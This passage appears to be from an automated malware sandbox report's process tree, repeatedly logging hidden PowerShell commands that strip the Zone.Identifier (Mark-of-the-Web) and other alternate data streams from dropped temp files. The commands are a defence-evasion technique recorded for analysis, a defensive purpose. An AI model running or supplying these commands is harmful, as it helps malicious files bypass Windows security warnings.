                                                                                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3AFD.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                              2⤵
                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                              PID:2076
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3AFD.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                              2⤵
                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                              PID:556
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B0E.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                              2⤵
                                                                                                                PID:1056
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B0E.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                2⤵
                                                                                                                  PID:3000
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B11.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                  2⤵
                                                                                                                    PID:1592
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B11.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                    2⤵
                                                                                                                      PID:772
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B12.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                      2⤵
                                                                                                                        PID:2112
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B12.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                        2⤵
                                                                                                                          PID:2968
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B15.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                          2⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          PID:3968
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B15.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                          2⤵
                                                                                                                            PID:1504
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B16.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                            2⤵
                                                                                                                              PID:4988
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B16.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                              2⤵
                                                                                                                                PID:1568
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  3⤵
                                                                                                                                    PID:3512
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B27.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                  2⤵
                                                                                                                                    PID:540
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B27.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                    2⤵
                                                                                                                                      PID:1204
                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        3⤵
                                                                                                                                          PID:1700
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B28.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                        2⤵
                                                                                                                                          PID:2812
                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                            3⤵
                                                                                                                                              PID:756
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B28.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                            2⤵
                                                                                                                                              PID:2176
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B39.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                              2⤵
                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                              PID:4736
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B39.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                              2⤵
                                                                                                                                                PID:2220
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B3B.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                2⤵
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                PID:2944
                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3876
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B3B.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                  2⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  PID:4472
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3B4D.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4884
                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3B4D.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:2924
                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3BAD.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                      2⤵
                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                      PID:3716
                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2392
                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3BAD.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1456
                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3BFD.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2644
                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3BFD.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:3032
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3C4D.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1860
                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3C4D.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4848
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3C4F.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:2356
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3C4F.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                    PID:64
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3C60.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:4872
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3C60.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3856
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:3968
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3CC0.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                          PID:2696
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3CC0.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                          PID:1876
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3CF1.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:5000
                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1392
                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3CF1.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:4484
                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1568
                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3D03.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:8
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3D03.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:4460
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3D72.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                      PID:1272
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3D72.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                      PID:3856
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3DE1.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:1916
                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3DE1.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:4800
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3E03.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                          PID:3688
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3E03.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:5000
                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3F4D.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:3392
                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3F4D.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:2608
                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3F6E.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:3852
                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:336
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3F6E.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1260
                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3F80.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:4712
                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3F80.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:2068
                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD3FA1.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:2256
                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD3FA1.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            PID:1884
                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD4030.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4068
                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD4030.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1728
                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD40CE.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:4612
                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:1468
                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                    powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD40CE.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:4736
                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD411E.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:4188
                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\TCD411E.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:2024
                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TCD414F.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:4620
                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
